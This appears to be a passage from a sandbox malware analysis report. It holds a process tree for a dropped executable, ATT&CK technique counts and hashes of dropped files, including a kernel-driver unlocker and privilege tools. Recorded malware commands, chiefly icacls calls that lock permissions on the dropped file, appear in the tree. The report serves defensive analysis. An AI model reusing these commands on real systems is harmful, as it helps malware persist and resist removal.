                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of WriteProcessMemory
                                  PID:4348
                                  • C:\Windows\SysWOW64\icacls.exe
                                    icacls "C:\Windows\ltOiuQ3G.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
                                    3⤵
                                    • Modifies file permissions
                                    • System Location Discovery: System Language Discovery
                                    PID:4568
                                • C:\Windows\SysWOW64\cmd.exe
                                  "cmd.exe" /c icacls "C:\Windows\ltOiuQ3G.exe" /remove:d Everyone Administrators
                                  2⤵
                                  • Executes a command shell one-liner
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of WriteProcessMemory
                                  PID:3708
                                  • C:\Windows\SysWOW64\icacls.exe
                                    icacls "C:\Windows\ltOiuQ3G.exe" /remove:d Everyone Administrators
                                    3⤵
                                    • Modifies file permissions
                                    • System Location Discovery: System Language Discovery
                                    PID:3952
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4520
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 536
                                    3⤵
                                    • Program crash
                                    PID:4768
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:3360
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3360 -s 508
                                    3⤵
                                    • Program crash
                                    PID:2800
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:3764
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3764 -s 508
                                    3⤵
                                    • Program crash
                                    PID:4732
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2440
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2440 -s 508
                                    3⤵
                                    • Program crash
                                    PID:3636
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4532
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 508
                                    3⤵
                                    • Program crash
                                    PID:2016
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4172
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 508
                                    3⤵
                                    • Program crash
                                    PID:1744
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:3952
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 508
                                    3⤵
                                    • Program crash
                                    PID:4720
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:5028
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5028 -s 508
                                    3⤵
                                    • Program crash
                                    PID:3992
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:5048
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 508
                                    3⤵
                                    • Program crash
                                    PID:2152
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4464
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4464 -s 508
                                    3⤵
                                    • Program crash
                                    PID:2996
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4080
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4080 -s 508
                                    3⤵
                                    • Program crash
                                    PID:2204
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:808
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 508
                                    3⤵
                                    • Program crash
                                    PID:1944
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2368
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2368 -s 508
                                    3⤵
                                    • Program crash
                                    PID:1924
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4392
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 508
                                    3⤵
                                    • Program crash
                                    PID:4920
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2740
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2740 -s 508
                                    3⤵
                                    • Program crash
                                    PID:2188
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4552
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4552 -s 508
                                    3⤵
                                    • Program crash
                                    PID:1988
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2812
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2812 -s 508
                                    3⤵
                                    • Program crash
                                    PID:1196
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:536
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 536 -s 508
                                    3⤵
                                    • Program crash
                                    PID:2864
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2732
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2732 -s 508
                                    3⤵
                                    • Program crash
                                    PID:4512
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1832
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1832 -s 508
                                    3⤵
                                    • Program crash
                                    PID:4504
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2220
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 508
                                    3⤵
                                    • Program crash
                                    PID:1892
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:5080
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5080 -s 508
                                    3⤵
                                    • Program crash
                                    PID:2352
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1076
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1076 -s 508
                                    3⤵
                                    • Program crash
                                    PID:3416
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2888
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2888 -s 508
                                    3⤵
                                    • Program crash
                                    PID:3840
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2968
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2968 -s 508
                                    3⤵
                                    • Program crash
                                    PID:4720
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:3428
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3428 -s 508
                                    3⤵
                                    • Program crash
                                    PID:4324
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1748
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1748 -s 192
                                    3⤵
                                    • Program crash
                                    PID:2384
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:3048
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3048 -s 508
                                    3⤵
                                    • Program crash
                                    PID:2516
                                • C:\Windows\ltOiuQ3G.exe
                                  "C:\Windows\ltOiuQ3G.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2204
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 508
                                    3⤵
                                    • Program crash
                                    PID:592
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4520 -ip 4520
                                1⤵
                                  PID:2816
                                • C:\Windows\system32\cmd.exe
                                  cmd.exe
                                  1⤵
                                    PID:776
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3360 -ip 3360
                                    1⤵
                                      PID:808
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3764 -ip 3764
                                      1⤵
                                        PID:5084
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2440 -ip 2440
                                        1⤵
                                          PID:2368
                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                          1⤵
                                          • Executes dropped EXE
                                          PID:1076
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4532 -ip 4532
                                          1⤵
                                            PID:1940
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4172 -ip 4172
                                            1⤵
                                              PID:3276
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3952 -ip 3952
                                              1⤵
                                                PID:996
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 5028 -ip 5028
                                                1⤵
                                                  PID:1884
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5048 -ip 5048
                                                  1⤵
                                                    PID:2796
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4464 -ip 4464
                                                    1⤵
                                                      PID:4352
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 4080 -ip 4080
                                                      1⤵
                                                        PID:4556
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 808 -ip 808
                                                        1⤵
                                                          PID:4620
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 2368 -ip 2368
                                                          1⤵
                                                            PID:5012
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 4392 -ip 4392
                                                            1⤵
                                                              PID:4448
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 2740 -ip 2740
                                                              1⤵
                                                                PID:4312
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4552 -ip 4552
                                                                1⤵
                                                                  PID:1280
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 2812 -ip 2812
                                                                  1⤵
                                                                    PID:4680
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 536 -ip 536
                                                                    1⤵
                                                                      PID:2424
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 2732 -ip 2732
                                                                      1⤵
                                                                        PID:3772
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 1832 -ip 1832
                                                                        1⤵
                                                                          PID:2428
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 2220 -ip 2220
                                                                          1⤵
                                                                            PID:4696
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 5080 -ip 5080
                                                                            1⤵
                                                                              PID:4024
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 764 -p 1076 -ip 1076
                                                                              1⤵
                                                                                PID:2468
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 792 -p 2888 -ip 2888
                                                                                1⤵
                                                                                  PID:1956
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 2968 -ip 2968
                                                                                  1⤵
                                                                                    PID:364
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    cmd.exe /c start " " "C:\Windows\winloghelper.exe"
                                                                                    1⤵
                                                                                    • Executes a command shell one-liner
                                                                                    PID:1012
                                                                                    • C:\Windows\winloghelper.exe
                                                                                      "C:\Windows\winloghelper.exe"
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:1752
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 3428 -ip 3428
                                                                                    1⤵
                                                                                      PID:4540
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 1748 -ip 1748
                                                                                      1⤵
                                                                                        PID:2964
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 804 -p 3048 -ip 3048
                                                                                        1⤵
                                                                                          PID:3152
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 824 -p 2204 -ip 2204
                                                                                          1⤵
                                                                                            PID:936

                                                                                          Network

                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                Reconnaissance

                                                                                                Resource Development

                                                                                                Initial Access

                                                                                                Execution

                                                                                                Command and Scripting Interpreter

                                                                                                2
                                                                                                T1059

                                                                                                PowerShell

                                                                                                1
                                                                                                T1059.001

                                                                                                Windows Command Shell

                                                                                                1
                                                                                                T1059.003

                                                                                                Scheduled Task/Job

                                                                                                1
                                                                                                T1053

                                                                                                Scheduled Task

                                                                                                1
                                                                                                T1053.005

                                                                                                System Services

                                                                                                2
                                                                                                T1569

                                                                                                Service Execution

                                                                                                2
                                                                                                T1569.002

                                                                                                Persistence

                                                                                                Boot or Logon Autostart Execution

                                                                                                2
                                                                                                T1547

                                                                                                Registry Run Keys / Startup Folder

                                                                                                2
                                                                                                T1547.001

                                                                                                Create or Modify System Process

                                                                                                3
                                                                                                T1543

                                                                                                Windows Service

                                                                                                3
                                                                                                T1543.003

                                                                                                Scheduled Task/Job

                                                                                                1
                                                                                                T1053

                                                                                                Scheduled Task

                                                                                                1
                                                                                                T1053.005

                                                                                                Privilege Escalation

                                                                                                Boot or Logon Autostart Execution

                                                                                                2
                                                                                                T1547

                                                                                                Registry Run Keys / Startup Folder

                                                                                                2
                                                                                                T1547.001

                                                                                                Create or Modify System Process

                                                                                                3
                                                                                                T1543

                                                                                                Windows Service

                                                                                                3
                                                                                                T1543.003

                                                                                                Scheduled Task/Job

                                                                                                1
                                                                                                T1053

                                                                                                Scheduled Task

                                                                                                1
                                                                                                T1053.005

                                                                                                Defense Evasion

                                                                                                File and Directory Permissions Modification

                                                                                                1
                                                                                                T1222

                                                                                                Impair Defenses

                                                                                                1
                                                                                                T1562

                                                                                                Modify Registry

                                                                                                3
                                                                                                T1112

                                                                                                Virtualization/Sandbox Evasion

                                                                                                2
                                                                                                T1497

                                                                                                Credential Access

                                                                                                Discovery

                                                                                                Process Discovery

                                                                                                1
                                                                                                T1057

                                                                                                Query Registry

                                                                                                4
                                                                                                T1012

                                                                                                System Information Discovery

                                                                                                3
                                                                                                T1082

                                                                                                System Location Discovery

                                                                                                1
                                                                                                T1614

                                                                                                System Language Discovery

                                                                                                1
                                                                                                T1614.001

                                                                                                Virtualization/Sandbox Evasion

                                                                                                2
                                                                                                T1497

                                                                                                Lateral Movement

                                                                                                Collection

                                                                                                Command and Control

                                                                                                Exfiltration

                                                                                                Impact

                                                                                                Service Stop

                                                                                                2
                                                                                                T1489

                                                                                                Replay Monitor

                                                                                                Loading Replay Monitor...

                                                                                                Downloads

                                                                                                IObitUnlocker.dll
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.dll
                                                                                                • Size 79KB
                                                                                                • SHA256 37d2a1626dc205d60f0bec8746ab256569267e4ef2f8f84dff4d9d792aa3af30
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.exe
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                • Size 2.6MB
                                                                                                • SHA256 eaa9dc1c9dc8620549fee54d81399488292349d2c8767b58b7d0396564fb43e7
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 207KB
                                                                                                • SHA256 74ef0a89fece066c014eb68dea360a267f9e541799841d0b83deecbc318fa4b6
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 5KB
                                                                                                • SHA256 20004210a6e81a42383d7cf71d67bc3b741f45d35a730e64f380568425819618
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 280KB
                                                                                                • SHA256 787a4c2757288cc3bf74f426834fc6e6230d4dd6a8fa0b65458a4123ab4d4c61
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 310KB
                                                                                                • SHA256 7cc091e00db31114314c92d0630575e706fd19e4343804933182ab664cb27159
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 395KB
                                                                                                • SHA256 8820bd748a938ef8a3da5984f910237442bdaba5fe5f0c3d2c0b21eb7598181e
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 464KB
                                                                                                • SHA256 c51c3059728a565e85dc5762c860b7bc3e2b699b10a52a3f6b5d8f7729d0641b
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 473KB
                                                                                                • SHA256 dfe10ca7f3c742abaf1e6a87b219c910b6fef55d0856fbc9394531ac425804c0
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 516KB
                                                                                                • SHA256 9340301678eed2a22318c628cfda1438686d907d874992358b69951a27a63732
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 51KB
                                                                                                • SHA256 968281c94f6ef6526df9e9a41fdd28f260e3fea847ad717ba09d13a0323ec49e
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 154KB
                                                                                                • SHA256 0b1cf7c04d55a7753a5d961802fe4184b10a59d29c92e70d575562f0fe68715d
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.log
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                • Size 157KB
                                                                                                • SHA256 c53a39602ce32fffb6995a58045e3f90174ab6b8bd7e31eb1d4cbc4e3f94f3ef
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                IObitUnlocker.sys
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                                                                                • Size 40KB
                                                                                                • SHA256 1845fe8545b6708e64250b8807f26d095f1875cc1f6159b24c2d0589feb74f0c
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                1A07m4.exe
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1A07m4.exe
                                                                                                • Size 2.5MB
                                                                                                • SHA256 6393c456ca1944965cb853107a86dc0ecec6b6ceacb065176f62ef05bc4f0e39
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                2Y3879.exe
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2Y3879.exe
                                                                                                • Size 1.9MB
                                                                                                • SHA256 9bec3f5aabca0a17c1720227a79db2c262c43ccf0e26eaa71a6802ea0dd9ce19
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                WindowsLogsHelper.xml
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml
                                                                                                • Size 2KB
                                                                                                • SHA256 19ce35c8f20f55170bb037dd18b18f906bca092c859d0a12b5b3967ca0e54666
                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                Submit Download

                                                                                                __PSScriptPolicyTest_exg3wk54.1mn.ps1
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_exg3wk54.1mn.ps1
                                                                                                • Size 60B
                                                                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                Submit Download

                                                                                                7z.exe
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
                                                                                                • Size 828KB
                                                                                                • SHA256 cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                NSudoLG.exe
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
                                                                                                • Size 174KB
                                                                                                • SHA256 5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                game.exe
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                                                                                • Size 1.3MB
                                                                                                • SHA256 07fc5a46c9fc5d0014a01aab95dd97e7f3d2525ca56afcc920fec7c6a58f9dcb
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                land.zip
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\hater\land.zip
                                                                                                • Size 1.2MB
                                                                                                • SHA256 9efd91ebd8dbb677adbcc2c1fd215b802d55cfaad1143990a36e90d284b78a4e
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                nircmd.exe
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
                                                                                                • Size 117KB
                                                                                                • SHA256 2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                rNsYaA4.bat
                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\rNsYaA4.bat
                                                                                                • Size 10KB
                                                                                                • SHA256 07bc6a2ed72e02e1988d152188bed752c21ab5282649f22c4c168a176cbdc690
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                systemhelper.exe
                                                                                                • Path C:\Windows\systemhelper.exe
                                                                                                • Size 2.1MB
                                                                                                • SHA256 2b6cd42d426a10633c3c4b2ba95608d399def7619c6c737efcae5def92c05e4e
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                winloghelper.exe
                                                                                                • Path C:\Windows\winloghelper.exe
                                                                                                • Size 416KB
                                                                                                • SHA256 c36ed034d523da1f54d43176334d4bda9f9adcb940948646b43902a620ebda45
                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                Submit Download

                                                                                                memory/1076-384-0x0000000000010000-0x000000000001D000-memory.dmp
                                                                                                Download

                                                                                                memory/1236-2338-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                                Download

                                                                                                memory/1892-1780-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                                Download

                                                                                                memory/2396-2897-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                                Download

                                                                                                memory/2508-2618-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                                Download

                                                                                                memory/2944-382-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                                Download

                                                                                                memory/3192-80-0x0000021A7E7B0000-0x0000021A7E90C000-memory.dmp
                                                                                                Download

                                                                                                memory/3248-8-0x0000000002680000-0x00000000026A2000-memory.dmp
                                                                                                Download

                                                                                                memory/3248-7-0x0000000000270000-0x00000000004F6000-memory.dmp
                                                                                                Download

                                                                                                memory/3424-84-0x000001DFFF840000-0x000001DFFF852000-memory.dmp
                                                                                                Download

                                                                                                memory/3424-82-0x000001DFFF810000-0x000001DFFF81A000-memory.dmp
                                                                                                Download

                                                                                                memory/3940-1501-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                                Download

                                                                                                memory/4148-663-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                                Download

                                                                                                memory/4228-2059-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                                Download

                                                                                                memory/4616-1222-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                                Download

                                                                                                memory/4644-19-0x0000000005BE0000-0x0000000005C46000-memory.dmp
